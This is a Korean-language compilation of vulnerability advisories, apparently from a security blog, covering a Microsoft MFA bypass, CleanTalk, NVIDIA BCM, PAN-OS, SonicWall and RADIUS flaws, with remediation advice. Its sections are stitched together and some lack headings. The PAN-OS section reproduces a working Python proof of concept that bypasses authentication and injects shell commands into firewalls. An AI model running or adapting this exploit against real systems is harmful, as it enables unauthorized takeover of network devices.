- MS 다중인증 환경에서 인증앱을 활용한 다중인증의 경우, 인증 우회 취약점 발견 [1] - Outlook, OneDrive, Teams, Azure Cloud 등 각종 MS 계정에 무단 접근이 가능 - MS에 가입된 유로 계정은 약 4억 개로 공격 성공 시 매우 큰 파장을 일으킬 수 있음
2. 주요내용
- 사용자가 MS 포털에 접속 시 계정과 6자리 코드를 사용해 로그인 시도 > 사용자가 로그인 페이지에 처음 접속하면 세션 식별자 할당 > 계정 정보 입력 후 추가 인증을 요구하며, 6자리 코드를 제공해 인증 과정 마무리
- 한 세션에서 10번 연속 입력을 실패할 경우 계정 잠금 > 연구진은 새 세션을 빠르게 생성한 후 6자리 코드를 대입하는 실험을 진행 > 실험 결과 여러 시도를 어떠한 경고(≒알림) 없이 동시에 실행할 수 있음을 발견
- 인증 앱을 사용한 인증 방법에는 시간 제한이 존재 > 30초 간격으로 새로운 코드가 생성 되도록 하는 것이 일반적 > 그러나, MS 로그인을 테스트한 결과 코드가 약 3분동안 유효한 것으로 확인 > 이는 공격에 성공할 확률이 3% 증가하는 수치*
* 공격자의 입장에서 세션을 24개 생성해 연속적으로 공격을 수행할 경우 70분의 시간을 확보하는 것 * 70분이 지나면 유효한 코드를 입력할 확률이 이미 50%를 넘어감
- 연구원들은 결과를 MS에 제보 > MS는 취약점을 수정한 버전 배포
권고 사항
구분
설명
다중인증 활성화
- 완벽한 안전을 보장하는 기술이 아니지만, 계정 보호에 필수적인 방법 - 다중인증을 사용하여도 100% 안전하지 않으며, 꾸준히 관리해야 함
- 워드프레스 웹사이트에서 스팸을 방지하기 위해 사용되는 플러그인 - 스팸 방지 기능을 제공하는 클라우드 기반 서비스
2. 주요내용 [2]
2.1 CVE-2024-10542
- WordPress CleanTalk 플러그인에서 발생하는 DNS 스푸핑을 통한 인증 우회 취약점 (CVSS: 9.8) > 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화하여 원격 코드를 실행할 수 있음
영향받는 버전 - Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.43.2
- 아래 함수는 토큰을 저장된 API 비교 또는 checkWithoutToken()를 통해 토큰 없이도 작업을 수행할 수 있는지 확인
78 | // Check Access key
79 | if (
80 | ($token === strtolower(md5($apbct->api_key)) ||
81 | $token === strtolower(hash('sha256', $apbct->api_key))) ||
82 | self::checkWithoutToken()
83 | ) {
84 | // Flag to let plugin know that Remote Call is running.
85 | $apbct->rc_running = true;
86 |
87 | $action = 'action__' . $action;
88 |
89 | if ( method_exists(__CLASS__, $action) ) {
- checkWithoutToken()는 발신 IP가 cleantalk.org 에 속하는지 확인 > IP는 사용자 정의 매개 변수인 X-Central-Ip 및 X-Forward-By 헤더 매개 변수로 결정되므로, IP 스푸핑에 취약 > IP 확인 후 strpos()를 사용해 도메인 이름을 확인하는데, 도메인에 'cleantalk.org' 문자열이 포함된 경우 검사를 통과할 수 있어, DNS 스푸핑에 취약
- AI(인공지능)와 HPC(High Performance Computing, 고성능 컴퓨팅)을 위한 클러스터 관리 소프트웨어 - 멀티 클라우드 및 온프레미스 환경 지원
※ 클러스터(Cluster) : 여러 대의 컴퓨터가 서로 연결되어 하나의 시스템처럼 작동하도록 구성한 컴퓨팅 환경
2. CVE-2024-0138
- NVIDIA BCM 구성요소인 CMDaemon의 인증 누락 취약점 (CVSS : 9.8) > CMDaemon : CPU나 네트워크 등 클러스터의 구성요소 간 통신을 지원하고, 작업이 원활하게 실행되도록 돕는 프로세스 [3] > 익스플로잇에 성공할 경우 코드 실행, 서비스 거부, 권한 상승, 정보 유출, 데이터 변조가 가능
영향받는버전 NVIDIA Base Command Manager 10.24.09
- 누구나 인증 없이 시스템에 접근할 수 있는 취약점으로 신속한 업데이트 권고 [4][5]
- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)
> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능 > CVE-2024-9474와 연계하여 공격이 진행 중
영향받는 버전 - PAN-OS 11.2.4-h1 버전 미만 - PAN-OS 11.1.5-h1 버전 미만 - PAN-OS 11.0.6-h1 버전 미만 - PAN-OS 10.2.12-h2 버전 미만
- 취약점은 uiEnvSetup.php 스크립트에서 발생
> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인 > "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션 > 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음
if (
$_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
&& $_SERVER['PHP_SELF'] !== '/CA/ocsp'
&& $_SERVER['PHP_SELF'] !== '/php/login.php'
&& stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
$_SERVER['PAN_SESSION_READONLY'] = true;
$ws = WebSession::getInstance($ioc);
$ws->start();
$ws->close();
// these are horrible hacks.
// This whole code should be removed and only make available to a few pages: main, debug, etc.
if (
!Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
&& !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
) {
if (Backend::quickSessionExpiredCheck()) {
if (isset($_SERVER['QUERY_STRING'])) {
Util::login($_SERVER['QUERY_STRING']);
} else {
Util::login();
}
exit(1);
}
}
}
2.2 CVE-2024-9474 [3]
- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점
영향받는 버전 - PAN-OS 11.2.4-h1 버전 미만 - PAN-OS 11.1.5-h1 버전 미만 - PAN-OS 11.0.6-h1 버전 미만 - PAN-OS 10.2.12-h2 버전 미만 - PAN-OS 10.1.14-h6 버전 미만
- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생
> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음 > 할당받은 인증 토큰을 이용해 악성 명령 실행 가능
2.3 PoC [4]
- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회
- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득
#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def setup_logging():
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
class VulnChecker:
def __init__(self, base_url, verify_ssl=False, timeout=30):
self.base_url = base_url
self.verify_ssl = verify_ssl
self.timeout = timeout
self.session = requests.Session()
if not verify_ssl:
urllib3.disable_warnings(InsecureRequestWarning)
self.session.verify = False
def make_request(self, method, endpoint, **kwargs):
try:
url = urljoin(self.base_url, endpoint)
kwargs['timeout'] = self.timeout
kwargs['verify'] = self.verify_ssl
response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response
except requests.exceptions.SSLError as e:
logging.error(f"SSL Error: {str(e)}")
logging.info("Try using --no-verify if the target uses self-signed certificates")
return None
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {str(e)}")
return None
def create_initial_session(self):
"""Create initial session with command injection payload"""
headers = {
'X-PAN-AUTHCHECK': 'off',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Command injection payload to write system info to file
data = {
'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}
response = self.make_request(
'POST',
'/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
headers=headers,
data=data
)
if response and 'PHPSESSID' in response.cookies:
phpsessid = response.cookies['PHPSESSID']
logging.info(f"Initial session created: {phpsessid}")
return phpsessid
return None
def trigger_execution(self, phpsessid):
"""Trigger command execution via index page"""
headers = {
'Cookie': f'PHPSESSID={phpsessid}',
'X-PAN-AUTHCHECK': 'off',
'Connection': 'keep-alive'
}
response = self.make_request(
'GET',
'/index.php/.js.map',
headers=headers
)
if response:
logging.info(f"Trigger response status: {response.status_code}")
if response.text:
logging.info(f"Response content length: {len(response.text)}")
return True
return False
def verify_execution(self):
"""Verify command execution by checking created file"""
response = self.make_request(
'GET',
'/unauth/watchTowr.php'
)
if response and response.status_code == 200:
logging.info("Command execution verified")
if response.text:
logging.info(f"System info: {response.text.strip()}")
return True
return False
def main():
parser = argparse.ArgumentParser(description='Vulnerability Check Script')
parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
args = parser.parse_args()
setup_logging()
logging.info(f"Starting vulnerability check against {args.url}")
checker = VulnChecker(
args.url,
verify_ssl=not args.no_verify,
timeout=args.timeout
)
# Step 1: Create session with command injection payload
phpsessid = checker.create_initial_session()
if not phpsessid:
logging.error("Session creation failed")
return
# Step 2: Trigger command execution
if checker.trigger_execution(phpsessid):
logging.info("Command execution triggered successfully")
# Step 3: Verify the result
if checker.verify_execution():
logging.info("Verification completed successfully")
else:
logging.error("Verification failed - file not created or accessible")
else:
logging.error("Command execution trigger failed")
if __name__ == "__main__":
main()
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5][6]
제품명
취약점
영향받는 버전
해결 버전
PAN-OS
CVE-2024-0012
PAN-OS 11.2.4-h1 버전 미만
PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만
PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만
PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만
PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474
PAN-OS 11.2.4-h1 버전 미만
PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만
PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만
PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만
PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만
PAN-OS 10.1.14-h6 및 이후 버전
- 권고 사항
① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현
> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소
② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링
③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육
- SonicWall이 개발한 네트워크 보안 운영 체제 - 주로 방화벽 및 보안 장비에 사용
2. CVE-2024-40766
- SonicWall SonicOS 관리 액세스의 부적절한 액세스 제어 취약성 (CVSS: 9.3) > 네트워크 자원에무단 접근을 허용하거나 방화벽을 충돌시켜 네트워크 보호 기능을 무력화할 수 있음 > 취약점이 처음 공개된 당시 SonicOS 관리 액세스 기능에만 영향을 미치는 것으로 알려졌으나, SSLVPN 기능에도 영향을 미치는 것으로 확인됨 > 취약점과 관련된 구체적인 정보를 공개하지 않았으나, 현재 악용되는 중으로, Akira 랜섬웨어 조직이 취약점을 악용하는 중 [2]
- 벤더사 제공 최신 업데이트 적용 [3][4]
> 추가적으로 방화벽 관리 액세스 제한, SSLVPN 비밀번호 재설정, MFA 적용, SSLVPN 액세스 제어 또는 비활성화 등 조치 권고
제품명
영향받는 버던
해결 버전
SOHO (Gen5)
5.9.2.14-12o 이하
5.9.2.14-13o
Gen6 방화벽 - SOHOW, TZ 300, TZ 300W, TZ 400, TZ 400W, TZ 500, TZ 500W, TZ 600, NSA 2650, NSA 3600, NSA 3650, NSA 4600, NSA 4650, NSA 5600, NSA 5650, NSA 6600, NSA 6650, SM 9200, SM 9250, SM 9400, SM 9450, SM 9600, SM 9650, TZ 300P, TZ 600P, SOHO 250, SOHO 250W, TZ 350, TZ 350W
- RADIUS 프로토콜에서 설계 결함으로 인한 취약점 발견 [1] - RADIUS 프로토콜이 개발되고 30년만에 처음으로 발견 - 익스플로잇에 성공할 경우 RADIUS를 기반으로 한 시스템과 네트워크에 자유롭게 출입할 수 있음 > 프로토콜 자체의 취약점이므로 모든 시스템이 영향을 받음
1.1 RADIUS (Remote Authentication Dial In User Service) [2]
- 클라이언트/서버 모델로, AAA 기능 구현을 위한 인증 프로토콜 (인증_Authentication, 권한부여_Authorization, 계정관리_Accounting) - ISP에서 사용하는 H/W 또는 S/W 등에 의한 원격 접속에 대한 인증용 서버를 지칭 - 사용자, RADIUS 클라이언트(인증 에이전트: VPN, WLAN, AP, NAS 등), RADIUS 서버(인증 서버)로 구성 - 원격 인증 및 접근 관리, 인증 및 권한 부여, 계정 감사 등의 기능을 제공
2. 주요내용
2.1 CVE-2024-3596 [3]
- RADIUS 프로토콜의 설계상 취약점으로 인해 발생하는 취약점
> 익스플로잇에 성공할 경우 로컬 네트워크에 아무 ID를 이용하여 인증 및 접근이 가능 > RADIUS 트래픽은 UDP를 통해 전송되며, MD5 기반의 암호화를 사용하므로 취약 > 개념 증명용 PoC가 개발되었으나 파급력이 너무 클 것으로 예상되어 공개하지 않음 > 공격자는 해시 충돌과 중간자 공격(RADIUS Client와 Server 사이)을 통해 익스플로잇
※ 해시 충돌: 서로 다른 입력 값이 동일한 출력 값을 가지는 상황
2.2 MD5 (Message-Digest algorithm 5) [4]
- 임의의 길이의 값을 입력받아 128Bit 길이의 해시값을 출력하는 알고리즘 - 1991년 설계되었고, 1996년 설계상 결함과 2004년, 2006년 해시 충돌 발견으로 사용이 권장되지 않음 [5]
2.3 공격 과정
- RADIUS Client는 Access-Request 메시지를 전송하고, RADIS Server는 Access-Reject 또는 Access-Accept 메시지로 응답 > Access-Reject 또는 Access-Accept 메시지는 Access-Request, 해시값, 클라이언트-서버간 공유 비밀을 활용해 Response Authenticator(MAC) 생성 > 공격자는 Response Authenticator 생성에 활용되는 해시값을 위조 ① ID and Request Authenticator: 공격자가 Access-Request에서 확인한 값 ② Code, Length, and Packet Attributes: 서버 응답 값(공격자가 예측) ③ Shared Secret: 클라이언트와 서버가 사전 공유한 비밀 값
- 전체적인 공격 과정은 다음과 같음
① 공격자는 잘못된 계정 정보를 이용해 로그인 요청 ② RADIUS Client는 Access-Request 메시지 전송 ③ 공격자는 중간에서 메시지를 가로채 MD5 해시 충돌 계산 > 공격자는 예상되는 Access-Reject와 위조하고자 하는 Access-Accept의 MD5 충돌 계산 > MD5(Access-Reject||RejectGibberish) == MD5(Access-Accept||AcceptGibberish)를 만족하는 RejectGibberish, AcceptGibberish ④ 충돌 계산을 마친 공격자는 Proxy-State로 위장하여 Access-Request 전송 > Access-Request에 RejectGibberish를 추가하여 > 요청과 응답을 가로채 위조하기 위해 Proxy-State를 활용하는 것으로 판단됨 ⑤ RADIUS Server는 Access-Request를 확인 및 Access-Reject 메시지 응답 > 잘못된 계정 정보를 시용하였기 때문에 요청 거절 > Access-Reject == MD5(Access-Reject||RejectGibberish||SharedSecret) ⑥ 공격자는 응답을 가로채 예상한 패턴(MD5 충돌)과 일치하는지 확인 > 예상한 패턴과 일치하는 경우 Access-Accept||AcceptGibberish로 변경하여 Client에 전송 ⑦ MD5 충돌로 RADIUS Client는 엑세스 권한 부여
2.3. 대응방안
① 단기완화: 클라이언트와 서버가 모든 요청과 응답에 대해 항상 Message-Authenticator 속성을 보내고 요구 ② 장기완화: RADIUS over TLS(RADSEC)로 업그레이드